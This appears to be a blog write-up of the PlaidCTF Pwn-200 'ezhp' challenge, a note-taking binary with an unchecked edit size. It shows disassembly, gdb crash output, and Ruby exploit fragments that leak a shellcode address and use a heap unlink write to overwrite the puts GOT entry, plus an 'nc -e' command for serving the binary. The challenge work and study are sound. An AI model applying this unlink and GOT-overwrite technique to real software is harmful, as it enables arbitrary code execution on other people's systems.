PlaidCTF writeup for Pwn-200 (a simple overflow bug)

I know what you’re thinking of: what’s with all the Web levels!?

Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you’re interested in exploitation—it’s actually one of the easiest exploitation levels you’ll find! Basically, ezhp was a simple note-writing system. When you run it, it looks like this:

./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.

In typical PPP fashion, it’s a text-based app that is run using xinetd. I personally use “nc -vv -l -p 4444 -e ./ezhp” for testing, to make it run on localhost:4444.

The vulnerability

As usual, I started reversing from the easiest to the hardest. It’s like a crossword puzzle, when you know the easy stuff, the hard stuff falls into place. My teammate insisted that we had to figure out the allocation code, but it was really confusing so I let him work on that. Meanwhile, I started looking at the change and print code.

Something I quickly notice is that the change option asks for a size:

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
10
Please input your data.
aaaa
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

But in the code, it doesn’t re-allocate with the size:

.text:080488E7                 mov     dword ptr [esp], offset aPleaseGiveMeAS ; "Please give me a size."
.text:080488EE                 call    _puts
.text:080488EE
.text:080488F3                 mov     eax, ds:stdout
.text:080488F8                 mov     [esp], eax      ; stream
.text:080488FB                 call    _fflush
.text:080488FB
.text:08048900                 mov     eax, offset aDC ; "%d%*c"
.text:08048905                 lea     edx, [ebp+entry_size] ; Nothing is stopping this from being negative
.text:08048908                 mov     [esp+4], edx
.text:0804890C                 mov     [esp], eax
.text:0804890F                 call    ___isoc99_scanf
.text:0804890F
.text:08048914                 mov     dword ptr [esp], offset aPleaseInputYou ; "Please input your data."
.text:0804891B                 call    _puts
.text:0804891B
.text:08048920                 mov     eax, ds:stdout
.text:08048925                 mov     [esp], eax      ; stream
.text:08048928                 call    _fflush
.text:08048928
.text:0804892D                 mov     edx, [ebp+entry_size]
.text:08048930                 mov     eax, [ebp+entry_id]
.text:08048933                 mov     eax, ds:entry_list[eax*4]
.text:0804893A                 mov     [esp+8], edx    ; nbytes
.text:0804893E                 mov     [esp+4], eax    ; buf
.text:08048942                 mov     dword ptr [esp], 0 ; fd
.text:08048949                 call    _read

Could it really be that easy? (Warning: this is going to be long, but I’ll explain why I chose this series of actions right away)

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
4
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
3
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
20
Please input your data.
AAAAAAAAAAAAAAAAAAAA
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1
Segmentation fault (core dumped)

Then using gdb to check out what happened:

$ gdb -q ./ezhp ./core
Program terminated with signal 11, Segmentation fault.
#0  0x0804874a in ?? ()
(gdb) x/i $eip
0x804874a:      mov    DWORD PTR [eax+0x8],edx
(gdb) print/x $eax
$2 = 0x41414141
(gdb) x/5i $eip
0x804874a:      mov    DWORD PTR [eax+0x8],edx
0x804874d:      mov    eax,ds:0x804b060
0x8048752:      mov    edx,DWORD PTR [eax+0x4]
0x8048755:      mov    eax,DWORD PTR [ebp-0xc]
0x8048758:      mov    DWORD PTR [eax+0x4],edx

This is exactly what I expected to see. Let me explain.

Heap overflows

So, this isn’t really a heap overflow. But it doesn’t matter - it’s a vulnerability that’s effectively identical to a heap overflow, and involves a data structure that looks like this:

typedef struct {
  void *previous;
  void *next;
  char data[0]; /* In C99+, this is an arbitrary-length array */

For a much more details/in-depth version of this vulnerability, check out my writeup for gitsmsg.

What I did to test was:

  • Allocate a small chunk of data
  • Allocate a second small check of data, that most likely goes right after the first chunk
  • Write too many 'AAAA...' values to the first chunk, so it overwrite's the second chunk's previous/next pointers
  • Attempt to de-allocate the second chunk

When you attempt to de-allocate the second chunk, it’s going to try to replace the previous/next pointers. It usually looks something like:

this->prev->next = this->next;
this->next->prev = this->prev;

Since this->prev and this->next are part of the data that was overwritten, they’re going to be set to ‘AAAA…’. So, we expect a crash when it tries to write to this->prev->next, since it’s going to try to dereference this->prev, or 0x41414141. And sure enough, it crashes accessing 0x41414141:

(gdb) x/i $eip
0x804874a:      mov    DWORD PTR [eax+0x8],edx
(gdb) print/x $eax
$2 = 0x41414141

Note that it’s writing to eax+0x8. We can surmise that eax+0x8 is either ‘prev’ or ‘next’. Since this looks like unlinking code, we expect to see either eax+0x4 or eax+0xc written in the next couple lines. That’s why when I saw this code:

(gdb) x/5i $eip
0x804874a:      mov    DWORD PTR [eax+0x8],edx
0x804874d:      mov    eax,ds:0x804b060
0x8048752:      mov    edx,DWORD PTR [eax+0x4]
0x8048755:      mov    eax,DWORD PTR [ebp-0xc]
0x8048758:      mov    DWORD PTR [eax+0x4],edx

I knew exactly what I was looking at!

To summarize: they are allocating an array of data structures. Each structure comes after the previous, and contains previous/next pointers. By overwriting these pointers, we can cause an arbitrary address to be written with an arbitrary value. Sweet!

Exploit part 1: Leaking an address

This is the part where I always cross my fingers. Is executable memory being used? Or am I going to have to do something clever? Honestly, I didn’t even figure out whether this was heap or .bss or whatever—I found this issue almost entirely by recognizing the exploit category. But I figured the easiest thing to do is just to try:

  • Create a long block containing shellcode
  • Create a short block
  • Write the shellcode to the long block, and just enough padding to get right up to the short block's 'previous' pointer
  • Print out the first block

Hopefully this isn’t too confusing. What we want is to figure out where in memory shellcode is stored. I didn’t actually check if the address is randomized, but it doesn’t matter—when I have the opportunity to read the address of shellcode in a reliable way, I always take it. Why not make the code ASLR-proof if it’s not much extra work?

The code looks like this in my exploit:

# These are used to store shellcode and get the address
reader = add_note(SHELLCODE_SIZE - 16)
read   = add_note(4)

edit_note(reader, SHELLCODE_SIZE, SHELLCODE + ("\xcc" * (SHELLCODE_SIZE - SHELLCODE.length)))
result = print_note(reader, SHELLCODE_SIZE + 8).unpack("I*")
SHELLCODE_ADDRESS = result[(SHELLCODE_SIZE / 4)] + 0x0c

In the end, that address wound up being slightly inaccurate. I ended up dealing with that using a NOP sled (ewwww) instead of troubleshooting. Maybe I should have tried to understand the allocation code after all? :)

Now I have the address of my shellcode, what can I do with it!?

Exploit part 2: Controlling EIP

This is actually pretty easy once you understand part 1. Unlike gitsmsg (see the link above), RELRO wasn’t enabled, which means I could edit the relocation table. The relocation table looks like:

.got.plt:08049FF4 _got_plt        segment dword public 'DATA' use32
.got.plt:08049FF4                 assume cs:_got_plt
.got.plt:08049FF4                 ;org 8049FF4h
.got.plt:08049FF4                 align 10h
.got.plt:0804A000 off_804A000     dd offset read          ; DATA XREF: _readr
.got.plt:0804A004 off_804A004     dd offset fflush        ; DATA XREF: _fflushr
.got.plt:0804A008 off_804A008     dd offset puts          ; DATA XREF: _putsr
.got.plt:0804A00C off_804A00C     dd offset __gmon_start__ ; DATA XREF: ___gmon_start__r
.got.plt:0804A010 off_804A010     dd offset exit          ; DATA XREF: _exitr
.got.plt:0804A014 off_804A014     dd offset __libc_start_main
.got.plt:0804A014                                         ; DATA XREF: ___libc_start_mainr
.got.plt:0804A018 off_804A018     dd offset __isoc99_scanf ; DATA XREF: ___isoc99_scanfr
.got.plt:0804A01C off_804A01C     dd offset sbrk          ; DATA XREF: _sbrkr
.got.plt:0804A01C _got_plt        ends

Ultimately, it doesn’t matter which one I overwrite, as long as it gets called at some point. So, I chose puts(). The exploit code is pretty simple:

# These are used to overwrite arbitrary memory
writer = add_note(4)
owned  = add_note(4)

# Overwrite the second note's pointers, via the first
edit_note(writer, 24, ("A" * 16) + [SHELLCODE_ADDRESS, PUTS_ADDRESS - 4].pack("II"))

# Removing it will trigger the overwrite
remove_note(owned)

Basically, we have 16 bytes of padding, then the address of the shellcode (the value we want to save) then the address of puts() in the relocation table (the place we want to save the shellcode address). Then we remove the note, which triggers the overwrite (and also a second overwrite, recall that unlinking changes both ‘prev’ and ‘next’; it didn’t affect me, but be careful with that).

puts() immediately gets called, and the shellcode runs. I chose shellcode I found online, it’s nothing special.

Here’s the full exploit

Conclusion

On one hand, I’m proud that I found/exploited this level so quickly. I think I finished the whole thing in maybe 2 hours?

On the other hand, I never really understood why certain stuff worked and didn’t work. For example, if my shellcode was too long it wouldn’t work, and sometimes I couldn’t read the address correctly. I also never really figured out the data structure, I completely used the debugger to get proper lengths.

So, it’s kind of an ugly exploit. But it worked! Plus, we got 200 points for it, and in the end isn’t that what matters?

Comments

Join the conversation on this Mastodon post (replies will appear below)!

    Loading comments...